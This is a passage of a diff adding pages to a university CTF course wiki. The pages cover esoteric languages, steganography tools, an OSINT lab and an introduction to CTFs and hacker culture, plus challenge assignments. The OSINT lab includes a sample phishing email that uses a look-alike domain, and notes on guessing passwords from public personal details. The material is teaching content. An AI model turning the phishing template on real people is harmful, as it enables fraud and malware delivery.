4jmp [d]Copies the value at [d] to c. Note that c will still be incremented after execution of this instruction, so the next instruction to be executed will be the one at [d] + 1 (modulo 59049).
5out aPrints the value of a, as an ASCII character, to the screen.
23in aInputs a character, as an ASCII code, into a. Newlines or line feeds are both code 10. An end-of-file condition is code 59048.
39rotr [d] mov a, [d]Rotates the value at [d] by one ternary digit to the right (0002111112 becomes 2000211111). Stores the result both at [d] and in a.
40mov d, [d]Copies the value at [d] to d.
62crz [d], a mov a, [d]Does the crazy operation (see below) with the value at [d] and the value of a. Stores the result both at [d] and in a.
68nopDoes nothing.
81endEnds the Malbolge program.
Any other valuedoes the same as 68: nothing. These other values are not allowed in a program while it is being loaded, but are allowed afterwards.
+

After each instruction is executed, the guilty instruction gets encrypted (see below) so that it will not do the same thing next time, unless a jump just happened. Right after a jump, Malbolge will encrypt the innocent instruction just prior to the one it jumped to instead. Then, the values of both c and d are increased by one and the next instruction is executed.

+

Piet

+

A graphical programming language... looks like large 8-bit pixels in a variety of colors. Can be interpreted with the tool npiet

+

https://www.bertnase.de/npiet/hi.png

+

Execution

+
Codels
+

A codel in Piet is like an image's pixel. Some Piet programs are upscaled, meaning that a codel might not always be equivalent to 1 pixel, but a codel is always a substitute for pixels.

+
Color blocks
+

A color block is any group of codels of the same color that are adjacent to each other. Note that codels only touching each other diagonally are not considered part of the same color block; they must be touching in one if the 4 cardinal directions to be part of the same color block.

+
Direction pointer
+

The direction pointer (DP) is what moves along the program to make it run. It can be in any one of the 4 cardinal directions. The direction pointer always starts at the color block containing the upper-left-most codel, and always starts facing right. After it has executed the proper command, it will move on to the next color block that is both:

+
    +
  1. adjacent to the current color block, and
  2. +
  3. is the farthest in the direction of the DP.
  4. +
+

This continues until the program terminates (see below).

+
Codel chooser
+

The codel chooser (CC) is used when multiple color blocks meet the above two criteria for the next block to be executed. Its direction is always relative to the DP's direction, and starts out facing left. When there are more than one possible color blocks to be executed, the one farthest in the direction of the codel chooser (again, relative to the DP) is the one chosen. The codel chooser can only point left or right.

+

Colors

+

Piet uses 20 colors in its programs. Each of these colors (with the exceptions of white and black) have two properties, those being hue and lightness. All colors and their properties are shown in the table below.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Light red (#FFC0C0)Light yellow (#FFFFC0)Light green (#C0FFC0)Light cyan (#C0FFFF)Light blue (#C0C0FF)Light magenta (#FFC0FF)
Red (#FF0000)Yellow (#FFFF00)Green (#00FF00)Cyan (#00FFFF)Blue (#0000FF)Magenta (#FF00FF)
Dark red (#C00000)Dark yellow (#C0C000)Dark green (#00C000)Dark cyan (#00C0C0)Dark blue (#0000C0)Dark magenta (#C000C0)
+

Hue is shown going to the left and lightness is shown going down. Note that these properties are cycles, meaning that, in terms of hue, red comes after magenta. Hue always goes to the left, and lightness always goes down, meaning that going from yellow to red is 5 changes in hue, and vice versa.

+
White
+

White (#FFFFFF) is one of the two colors in Piet that doesn't fit into either cycle. White color blocks act like blank spaces. When the DP encounters a white block, it will simply go through it and move on to the next color block. No commands are executed when the DP goes through a white block.

+
Black
+

Black (#000000) is like the opposite of white in the sense that the DP cannot pass through it. If the DP tries to go to the next color block but fails because of a black block, it will switch the CC to its other state and try again. If it still can't get to the next color block, then the DP will be rotated one step clockwise. If the DP has gone through all possible states but it still can't get to the next color block, it will conclude there is no way out and the program will terminate. This is the only way to terminate a Piet program.

+

Commands

+

Piet commands aren't executed based on the color the DP is on, but instead based on the change in lightness and hue. Below is a table with all 17 commands in Piet and how they're executed.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Hue changeLightnesschange
No change1 darker2 darker
No changeN/APushPop
1 stepAddSubtractMultiply
2 stepsDivideModuloNot
3 stepsGreaterPointerSwitch
4 stepsDuplicateRollInput num
5 stepsInput charOutput numOutput char
+
    +
  • Push: Pushes the number of codels in the previous color block onto the stack.
  • +
  • Pop: Pops the top value off the stack.
  • +
  • Add: Pops the top two values off the stack, adds them up, and pushes the sum back onto the stack.
  • +
  • Subtract: Pops the top two values off the stack, subtracts the top value from the second-top value, and pushes the difference back onto the stack. Note that if the top value is X and the next value Y, this means that Y - X will be pushed, not X - Y.
  • +
  • Multiply: Pops the top two values off the stack, multiplies them together, and pushes the product back onto the stack.
  • +
  • Divide: Pops the top two values off the stack, performs integer division (Python equivalent of //) on the second-top value divided by the top value, and pushes the quotient back onto the stack. This has the same X/Y property as subtraction.
  • +
  • Modulo: Pops the top two values off the stack, divided the second-top value by the top value, and pushes the remainder back onto the stack. This has the same X/Y property as subtraction.
  • +
  • Not: Pops the top value off the stack. If the value is 0, it pushes 1 onto the stack. Otherwise, it pushes 0.
  • +
  • Greater: Pops the top two values off the stack. If the second-top value is greater than the top value, it pushes 1 onto the stack. Otherwise, it pushes 0. This has the same X/Y property as subtraction.
  • +
  • Pointer: Pops the top value off the stack, then rotates the DP one step clockwise that many times (anti-clockwise if the value is negative).
  • +
  • Switch: Pops the top value off the stack, then switches the state of the CC that many times (absolute value if the value is negative).
  • +
  • Duplicate: Pushes a copy of the top value onto the stack.
  • +
  • Roll: Pops the top two values off the stack, and then rotates the top Y values on the stack up by X, wrapping values that pass the top around to the bottom of the rolled portion, where X is the first value popped (top of the stack), and Y is the second value popped (second on the stack). (Example: If the stack is currently 1,2,3, with 3 at the top, and then you push 3 and then 1, and then roll, the new stack is 3,1,2.)
  • +
  • Input: Takes an input, either as a character or a number. If the input is a number, that value is pushed onto the stack. If it's a character, its Unicode value is pushed onto the stack.
  • +
  • Output: Pops the top value off the stack. If a number should be printed, the value itself will be printed. If a character should be printed, then its corresponding Unicode character will be printed.
  • +
+

Ook!

+

A joke language. Recognizable by . and ?, and !.

+
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.
+Ook! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?
+Ook! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BrainfuckOok!Description
>Ook. Ook?Move the pointer to the right
<Ook? Ook.Move the pointer to the left
+Ook. Ook.Increment the memory cell under the pointer
-Ook! Ook!Decrement the memory cell under the pointer
.Ook! Ook.Output the character signified by the cell at the pointer
,Ook. Ook!Input a character and store it in the cell at the pointer
[Ook! Ook?Jump past the matching Ook? Ook! if the cell under the pointer is 0
]Ook? Ook!Jump back to the matching Ook! Ook?
n/aOok? Ook?Give the memory pointer a banana
+

Steganography

+

StegCracker

+

Don't ever forget about steghide! This tool can use a password list like rockyou.txt with steghide. SOME IMAGES CAN HAVE MULTIPLE FILED ENCODED WITH MULTIPLE PASSWORDS.

+
At first, the secret data is compressed and encrypted. Then a sequence  of  postions of pixels in the cover file is created based on a pseudo-random number generator initialized with  the  passphrase (the secret data will be embedded in the pixels at these positions). Of these  positions  those that  do not need to be changed (because they already contain the correct value by chance) are sorted out.  Then  a graph-theoretic  matching  algorithm  finds pairs of positions such that exchanging their values has the effect  of embedding  the  corresponding  part of the secret data. If the  algorithm  cannot  find  any  more  such  pairs   all exchanges  are  actually  performed.   The  pixels  at the remaining positions (the positions that are  not  part  of such  a  pair)  are  also modified to contain the embedded data (but  this  is  done  by  overwriting  them,  not  by exchanging  them  with other pixels).  The fact that (most of) the embedding  is  done  by  exchanging  pixel  values implies  that  the first-order statistics (i.e. the number of times a color occurs in the picture)  is  not  changed. For  audio  files  the  algorithm is the same, except that audio samples are used instead of pixels.
+
+

Stegsolve.jar

+

A Java .JAR tool, that will open an image and let you as the user arrow through different renditions of the image (viewing color channels, inverted colors, and more). The tool is surprisingly useful.

+

zsteg

+

Command-line tool for use against Least Significant Bit steganography... unfortunately only works against PNG and BMP images.

+

Morse Code

+

Always test for this if you are seeing two distinct values... it may not always be binary! Online decoders like so: https://morsecode.scphillips.com/translator.html

+

img

+

Whitespace

+

Tabs and spaces could be representing 1's and 0's and treating them as a binary message... or, they could be whitespace done with snow or an esoteric programming language interpreter: https://tio.run/#whitespace

+

DNA Codes

+

When given a sequence with only A, C, G, T , there is an online mapping for these. Try this:

+

img/dna_codes.png img/genome_coding.jpg

+

SONIC Visualizer (audio spectrum)

+

Some classic challenges use an audio file to hide a flag or other sensitive stuff. SONIC visualizer easily shows you spectrogram. If it sounds like there is random bleeps and bloops in the sound, try this tactic!

+

Spectrogram of this recording of a violin playing. Note the harmonics occurring at whole-number multiples of the fundamental frequency.

+

Detect DTMF Tones

+

Audio frequencies common to a phone button, DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
1209 Hz1336 Hz1477 Hz1633 Hz
697 Hz123A
770 Hz456B
852 Hz789C
941 Hz*0#D
+

Phone-Keypad

+

Some messages may be hidden with a string of numbers, but really be encoded with old cell phone keypads, like text messaging with numbers repeated:

+

https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQSySxHjMFv80XWp74LZpfrnAro6a1MLqeF1F3zpguA5PGSW9ov

+

QR code

+

A small square "barcode" image that holds data.

+

img

+

Encoding

+

img

+

Meaning of format information. In the above figure, the format information is protected by a (15,5) BCH code, which can correct up to 3-bit errors. The total length of the code is 15 bits, of which 5 are data bits (2 EC level + 3 mask pattern) and 10 are extra bits for error correction. The format mask for these 15 bits is: [101010000010010]. Note that we map the masked values directly to their meaning here, in contrast to image 4 "Levels & Masks" where the mask pattern numbers are the result of putting the 3rd to 5th mask bit, [101], over the 3rd to 5th format info bit of the QR code.

+

File:QR Character Placement.svg

+

Message placement within a QR symbol. The message is encoded using a (255,249) Reed Solomon code (shortened to (24,18) code by using "padding") which can correct up to 3-byte errors.

+

File:QR Ver3 Codeword Ordering.svg

+

The larger symbol illustrates interleaved blocks. The message has 26 data bytes and is encoded using two Reed-Solomon code blocks. Each block is a (255,233) Reed Solomon code (shortened to (35,13) code), which can correct up to 11-byte errors in a single burst, containing 13 data bytes and 22 "parity" bytes appended to the data bytes. The two 35-byte Reed-Solomon code blocks are interleaved so it can correct up to 22-byte errors in a single burst (resulting in a total of 70 code bytes). The symbol achieves level H error correction.

+

Assignment

+

(1 - Easy) ShuoDeDaoLi

+

Don't view the image...

+

attachment

+

(2 - Medium) QR or not QR

+

QR or not QR, this is a question. However, I can grant the image size is 310 px * 310 px.

+

attachment

+

(3 - Medium) Cyberpunk Audio

+

The music transferred from the moon. The last part sounds corrupted though.

+

attachment

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 9 Open-Source Intelligence/index.html b/CS315/Lab 9 Open-Source Intelligence/index.html new file mode 100644 index 000000000..6815e5b09 --- /dev/null +++ b/CS315/Lab 9 Open-Source Intelligence/index.html @@ -0,0 +1,8360 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 9: Open-Source Intelligence - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 9: Open-Source Intelligence

+
+

Reference: https://ctfacademy.github.io/osint/index.htm by CTF Academy

+

Reference: https://osintframework.com/ by jnordine

+
+

img

+

Open Source Intelligence

+

Open-source intelligence, also known as OSINT, refers to gathering information from publicly available sources, such as social media, company websites, and news articles. There is a great deal of information that can be gathered about a company or person through open-source intelligence.

+

OSINT Techniques

+

In a cybersecurity context, OSINT can be used to recon a target before performing a penetration test or to generate a report of the information a company is leaking through public sources. Cybercriminals use OSINT to collect information on a target before attacking; also, OSINT can be used to help guess a user’s password. Many people use passwords that relate to themselves. For example, a common password creation method is to use the name of your favorite pet followed by the year you were born. This is a very poor password creation technique because this information is easy for a malicious user to obtain from openly available sources, such as your social media accounts. In addition to possible password information, OSINT can reveal information about a company’s internal computer network. For example, a company’s promotional website may include pictures of employees working. These pictures may reveal information about the company’s inner workings, such as internal website URLs and private documents. OSINT can also be used to create a phony, malicious email targeting a company or individual; these phony emails are referred to as “phishing” emails.

+

OSINT Attack Example

+

The following is an example of a company press release and a phishing email created using information from the press release:

+
Company XYZ
+
+Recently Company XYZ has been making astounding progress on a new project. We have been working with many of the finest software engineers to develop a new internet browser with voice control capabilities. A special thanks go out to John Smith from Software ABC Corp. for his assistance with this project (more information can be found at softwareabccorp.com). The expected release date is early 2021.
+
+Company XYZ,
+Speaking is the future!
+
+

Using the information in the above press release, an attacker could form the following phishing email:

+
Email
+
+To: ceo@companyxyz.com
+From: jsmith@softwareabccorp.co
+Subject: New Research About Voice Control
+
+Dear Company XYZ CEO,
+
+Here is a link to my new research paper about voice control technologies: Softwarecorp.co/newpaper.pdf.
+
+Due to our recent collaboration on your new internet browser, I know this paper will interest you greatly. Please read it and give me your thoughts.
+
+
+
+Thank you,
+John Smith
+Software ABC Corp.
+
+

The attacker would send the above email to the CEO in hopes she would click on the link and unknowingly download the attacker’s malicious file containing a computer virus.

+

The attacker created this email using information gleaned from Company XYZ’s press release. The attacker registered a website and email at “softwareabccorp.co,” notice the “.co” instead of the “.com” at the end of the address. Also, the name of the researcher connected to the project, John Smith, was mentioned in the press release and was used by the attacker to add believability to his phishing email. Finally, the attacker’s link to a supposed “research paper” that would be of interest to the targeted CEO. In a malicious phishing email, this link would lead to a computer virus and infect the CEO’s computer.

+

OSINT Defensive Techniques

+

OSINT can also be used defensively. Open source intel can be used to keep up with cybersecurity trends and the techniques cyber criminals are using right now. Many websites provide OSINT about cyber attack trends reported by cybersecurity professionals. Also, when a company is receiving unusual internet traffic, OSINT can be used to determine if the usual traffic is coming from a known malicious IP address (An IP address is a four-part number that identifies the source of a network connection).

+

The following are just a few of the thousands of IP addresses that originate from China:

+

A cyber defender can better analyze unusual internet traffic using public sources about IP address origins.

+

For example, if the network administrator at an organization notices a high volume of internet traffic causing the organization’s website to be overloaded, he can analyze the origins of the internet traffic and determine if the traffic is likely malicious. Using OSINT to research the IP addresses of the internet traffic, a cybersecurity specialist can determine if the traffic originates from known malicious IP addresses.

+ + + + + + + + + + + + + + + + + +
Chinese IP Addresses
36.37.36.114
36.37.39.204
42.1.128.64
+

A cyber defender can better analyze unusual internet traffic using public sources about IP address origins.

+

For example, if the network administrator at an organization notices a high volume of internet traffic causing the organization’s website to be overloaded, he can analyze the origins of the internet traffic and determine if the traffic is likely malicious. Using OSINT to research the IP addresses of the internet traffic, a cybersecurity specialist can determine if the traffic originates from known malicious IP addresses.

+

OSINT Framework

+

Visit OSINT Framework for OSINT structure and categories.

+

Assignment

+

(1 - Easy) Emo

+

In the circle of friends, I found a photo. There is more information than thought.

+

Flag format: flag{[from city]-[to city]-[flight number]}

+

For example: flag{深圳-广州-1A2345}

+

Attachment

+

(2 - Easy) Travel Photo

+

I want to travel here too! But how to find the location?

+

Flag format: flag{[city name]-[location name]}

+

For example: flag{深圳-欢乐谷}

+

Attachment

+

(3 - Medium) Home

+

A photo that was someone's house. A lovely place to live in. However, I want to know the location where this photo was taken.

+

Flag format: flag{[location name]}

+

For example: flag{无人机}

+

Attachment

+

(4 - Medium) Football

+

A real fan can remember this immediately.

+

Flag format: flag{[yyyy-mm-dd]-[location name]}

+

For example: flag{2022-02-30-风雨操场}

+

Attachment

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/static/1.zip b/CS315/static/1.zip new file mode 100644 index 000000000..588de8c7b Binary files /dev/null and b/CS315/static/1.zip differ diff --git a/CS315/static/2.zip b/CS315/static/2.zip new file mode 100644 index 000000000..ad7978f4c Binary files /dev/null and b/CS315/static/2.zip differ diff --git a/CS315/static/3.zip b/CS315/static/3.zip new file mode 100644 index 000000000..1b1de849d Binary files /dev/null and b/CS315/static/3.zip differ diff --git a/CS315/static/4.zip b/CS315/static/4.zip new file mode 100644 index 000000000..68b0dfe0b Binary files /dev/null and b/CS315/static/4.zip differ diff --git a/CS315/static/51db1d4bd7c1413265556a89ec92881a.zip b/CS315/static/51db1d4bd7c1413265556a89ec92881a.zip new file mode 100644 index 000000000..f584bbc0c Binary files /dev/null and b/CS315/static/51db1d4bd7c1413265556a89ec92881a.zip differ diff --git a/CS315/static/7ab001b7c25077c1b02f071a56f6ffc5.zip b/CS315/static/7ab001b7c25077c1b02f071a56f6ffc5.zip new file mode 100644 index 000000000..97fbae40d Binary files /dev/null and b/CS315/static/7ab001b7c25077c1b02f071a56f6ffc5.zip differ diff --git a/CS315/static/challenge-gamebox.8909b45a.svg b/CS315/static/challenge-gamebox.8909b45a.svg new file mode 100644 index 000000000..5df2a2d8f --- /dev/null +++ b/CS315/static/challenge-gamebox.8909b45a.svg @@ -0,0 +1,3 @@ + + +
题目
题目
1
1
Web1
Web1
2
2
Web2
Web2
3
3
Pwn1
Pwn1
4
4
Pwn2
Pwn2
靶机
靶机
1
1
John - Web1
John - Web1
2
2
John - Web2
John - Web2
3
3
John - Pwn1
John - Pwn1
4
4
John - Pwn2
John - Pwn2
5
5
Asuna - Web1
Asuna - Web1
6
6
Asuna - Web2
Asuna - Web2
7
7
Asuna - Pwn1
Asuna - Pwn1
8
8
Asuna - Pwn2
Asuna - Pwn2
9
9
Alice - Web1
Alice - Web1
10
10
Alice - Web2
Alice - Web2
11
11
Alice - Pwn1
Alice - Pwn1
12
12
Alice - Pwn2
Alice - Pwn2
13
13
Mashiro - Web1
Mashiro - Web1
14
14
Mashiro - Web2
Mashiro - Web2
...
...
...
...
选手
选手
1
1
John
John
2
2
Asuna
Asuna
3
3
Alice
Alice
4
4
Mashiro
Mashiro
5
5
Emiria
Emiria
Viewer does not support full SVG 1.1
\ No newline at end of file diff --git a/CS315/static/cyberpunk_audio.wav b/CS315/static/cyberpunk_audio.wav new file mode 100644 index 000000000..4afe7ee9d Binary files /dev/null and b/CS315/static/cyberpunk_audio.wav differ diff --git a/CS315/static/keyboardwarrior.pcap b/CS315/static/keyboardwarrior.pcap new file mode 100644 index 000000000..97f8412ec Binary files /dev/null and b/CS315/static/keyboardwarrior.pcap differ diff --git a/CS315/static/process.0a7a84de.svg b/CS315/static/process.0a7a84de.svg new file mode 100644 index 000000000..714c3de51 --- /dev/null +++ b/CS315/static/process.0a7a84de.svg @@ -0,0 +1,3 @@ + + +
比赛开始前
比赛开始前
比赛开始
比赛开始
新的一轮开始
新的一轮开始
一轮进行中
一轮进行中
一轮结束时
一轮结束时
比赛结束
比赛结束
最后一轮?
最后一轮?
Viewer does not support full SVG 1.1
\ No newline at end of file diff --git a/CS315/static/qr_or_not_qr.zip b/CS315/static/qr_or_not_qr.zip new file mode 100644 index 000000000..0f99a42e2 Binary files /dev/null and b/CS315/static/qr_or_not_qr.zip differ diff --git a/CS315/static/rootfs.cpio b/CS315/static/rootfs.cpio new file mode 100644 index 000000000..b5cceb66e Binary files /dev/null and b/CS315/static/rootfs.cpio differ diff --git a/CS315/static/shuodedaoli.zip b/CS315/static/shuodedaoli.zip new file mode 100644 index 000000000..3890209f3 Binary files /dev/null and b/CS315/static/shuodedaoli.zip differ diff --git a/CS315/static/sus.wav b/CS315/static/sus.wav new file mode 100644 index 000000000..6bb2cd6cd Binary files /dev/null and b/CS315/static/sus.wav differ diff --git a/CS315/static/what-you-see-is-what-you-git.zip b/CS315/static/what-you-see-is-what-you-git.zip new file mode 100644 index 000000000..629f84401 Binary files /dev/null and b/CS315/static/what-you-see-is-what-you-git.zip differ diff --git a/CTF/CTF and Hacker Attitude/index.html b/CTF/CTF and Hacker Attitude/index.html new file mode 100644 index 000000000..263baaf1d --- /dev/null +++ b/CTF/CTF and Hacker Attitude/index.html @@ -0,0 +1,8584 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Introduction and the Hacker Attitude - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Introduction and the Hacker Attitude

+
+

https://ctf101.org/

+

http://www.catb.org/~esr/faqs/hacker-howto.html

+

https://ctf-wiki.org/

+
+

CTF Introduction

+

Capture The Flags, or CTFs, is a kind of computer security competition.

+

Teams of competitors (or just individuals) are pitted against each other in a test of computer security skills.

+

Very often CTFs are the beginning of one's cyber security career due to their team-building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.

+

Origin of CTF

+

CTF's predecessor is a traditional networking technology competition between hackers, which originated at the 4th DEFCON in 1996.

+

Early CTF Competitions

+

The first CTF competitions (1996 - 2001) had no clear rules and no professionally built competition platform and environment. It was up to the teams to prepare their own targets (prepare and defend their own targets, and try to break each other's targets). The organizers are mostly just non-professional volunteers who accept requests for manual scoring from the participating teams.

+

The lack of automated back-end systems and judges' technical competence, scoring delays and errors, as well as unreliable networks and improper configurations, led to a great deal of controversy and dissatisfaction.

+

The "Modern" CTF Competition

+

A professional team undertakes the competition platform, proposition, event organization, and automated point system. Teams are required to submit applications and are selected by the DEFCON conference organizers.

+

The following features stand out for the three years of DEFCON CTF competitions organized by LegitBS.

+

The competition focuses on core competencies in underlying computer and system security, and web vulnerability techniques are completely ignored. +The competition environment tends to be a multi-CPU instruction architecture set, multi-operating system, and multi-programming language. +Zero-sum" scoring rules are used. +The team's comprehensive ability test: reverse analysis, vulnerability mining, vulnerability exploitation, vulnerability patching and reinforcement, network traffic analysis, system security operation and maintenance, and security programming debugging.

+

CTF Competition Types

+

Jeopardy is commonly used in online selection competitions. In Jeopardy CTF, teams can participate via the Internet or a live network, where they solve technical challenges in cybersecurity by interacting with the online environment or analyzing files offline to earn points, similar to ACM programming competitions and informatics Olympiads, and are ranked based on total points and time.

+

The different problem-solving problem-solving modes will generally set the first blood, and second blood, third blood, that is, the first three teams to complete the problem will get extra points, so this is not only the first team to solve the problem to encourage the value of the team, but also an indirect reflection of the team's ability.

+

Of course there is also a popular scoring rule that sets the initial score for each question and then gradually reduces the score of the question according to the number of teams that have successfully answered the question, meaning that the more people answer the question, the lower the score of the question will be. Eventually it will drop to a guaranteed score and then stop dropping.

+

The main types of questions include Web network attack and defense, RE reverse engineering, Pwn binary exploit, Crypto cryptographic attacks, Mobile mobile security, and Misc security miscellaneous six categories.

+

CTF Contest Contents

+

Since the CTF has a wide range of questions, there are no clear boundaries as to what will be tested. However, as far as the current competition questions are concerned, they are mainly classified according to the common Web network attack and defense, RE reverse engineering, Pwn binary vulnerability exploitation, Crypto cryptography attack, Mobile security, and Misc security.

+

Web - Web Attack and Defense

+

Mainly introduces the common vulnerabilities in Web security, such as SQL injection, XSS, CSRF, file inclusion, file upload, code audit, PHP weak types, etc., common questions and solutions in Web security, and provides some common tools.

+

Reverse Engineering - Reverse Engineering

+

Mainly introduces the common question types, tools platform, and solution ideas in Reverse Engineering, and the advanced part introduces the common software protection, decompiling, anti-debugging, shelling, and deshelling techniques in Reverse Engineering.

+

Pwn - binary vulnerability exploitation

+

The Pwn topic mainly examines the discovery and exploitation of binary vulnerabilities, which requires a certain understanding of the underlying computer operating system. PWN topics are mainly found on the Linux platform in the CTF competition.

+

Crypto - Cryptographic Attacks

+

Classical cryptography is interesting and diverse, while modern cryptography is highly secure and requires high algorithmic understanding.

+

Mobile - Mobile Security

+

Mainly introduces the common tools and main problem types in Android inversion. Android inversion often requires certain knowledge of Android development. iOS inversion topics are less frequent in CTF competitions, so not too much introduction is made.

+

Misc - Security Miscellaneous

+

The topic "Online Ghost: The Autobiography of Mitnick, the World's Number One Hacker" translated by Zhuge Jianwei, and some typical MISC topics are used as entry points, mainly including information gathering, coding analysis, forensic analysis, steganography analysis, etc.

+

How To Become A Hacker

+

What Is a Hacker?

+

The Jargon File contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to become a hacker, though, only two are relevant.

+

There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.

+

The hacker mindset is not confined to this software-hacker culture. Some people apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is independent of the particular medium the hacker works in. But in the rest of this document, we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.

+

There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.

+

The basic difference is this: hackers build things, and crackers break them.

+

If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.

+

The Hacker Attitude

+
    +
  • +
      +
    1. The world is full of fascinating problems waiting to be solved.
    2. +
    +
  • +
  • +
      +
    1. No problem should ever have to be solved twice.
    2. +
    +
  • +
  • +
      +
    1. Boredom and drudgery are evil.
    2. +
    +
  • +
  • +
      +
    1. Freedom is good.
    2. +
    +
  • +
  • +
      +
    1. Attitude is no substitute for competence.
    2. +
    +
  • +
+

Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.

+

But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things are important for you — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mindset of masters — not just intellectually but emotionally as well.

+

Or, as the following modern Zen poem has it:

+

To follow the path: + look to the master, + follow the master, + walk with the master, + see through the master, + become the master.

+

So, if you want to be a hacker, repeat the following things until you believe them:

+

1. The world is full of fascinating problems waiting to be solved.

+

Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, and in pushing themselves past their physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.

+

If you aren't the kind of person that feels this way naturally, you'll need to become one to make it as a hacker. Otherwise, you'll find your hacking energy is sapped by distractions like sex, money, and social approval.

+

(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece — and so on, until you're done.)

+

2. No problem should ever have to be solved twice.

+

Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.

+

To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones.

+

Note, however, that "No problem should ever have to be solved twice." does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and force people to re-invent wheels.

+

(You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get the most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)

+

3. Boredom and drudgery are evil.

+

Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work because when this happens it means they aren't doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but evil.

+

To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).

+

(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)

+

4. Freedom is good.

+

Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smothers you and other hackers.

+

(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kind of authority to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)

+

